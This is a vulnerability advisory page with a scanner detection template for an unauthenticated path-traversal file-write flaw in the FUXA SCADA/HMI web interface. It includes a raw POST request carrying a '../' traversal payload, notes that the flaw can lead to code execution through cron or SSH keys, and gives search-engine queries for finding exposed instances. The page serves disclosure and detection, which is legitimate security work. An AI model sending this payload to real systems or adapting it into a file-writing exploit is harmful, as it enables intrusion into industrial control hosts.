/Vulnerability Library

FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write

CVE-2026-25895
Early Release

Description

FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.

Severity

Critical

CVSS Score

9.8

Exploit Probability

10%

Affected Product

fuxa

Published Date

August 3, 2026

Template Author

prithvee07

CVE-2026-25895.yaml
id: CVE-2026-25895

info:
  name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
  author: prithvee07
  severity: critical
  description: |
    FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
  impact: |
    Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.
  remediation: |
    Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.
  reference:
    - https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
    - https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96
    - https://github.com/frangoteam/FUXA/releases/tag/v1.2.10
    - https://github.com/Hann1bl3L3ct3r/FUXAPWN
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25895
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-25895
    epss-score: 0.10353
    epss-percentile: 0.95358
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev

variables:
  filename: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}"

http:
  - raw:
      - |
        POST /api/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"resource":{"name":"{{filename}}.txt","fullPath":"{{filename}}.txt","type":"bin","data":"{{base64(filename)}}"},"destination":"a/../../server/main.js"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "ENOTDIR")'
          - 'contains(body, concat("main.js", "/", "{{filename}}.txt"))'
        condition: and

      - type: word
        part: body
        words:
          - "invalid_destination"
        negative: true

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "open '(.*?)'"
# digest: 490a00463044022045a1bb198dee352fe8662690590cc9143b8282a50af459c1f58effdef611c593022025cd4355045bf0d170d9c3b0bd5fa0791da652f83553fd4a3c3faa3b56a52e80:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-25895
CWE ID:
cwe-22

References

https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996chttps://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96https://github.com/frangoteam/FUXA/releases/tag/v1.2.10https://github.com/Hann1bl3L3ct3r/FUXAPWNhttps://nvd.nist.gov/vuln/detail/CVE-2026-25895

Remediation Steps

Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.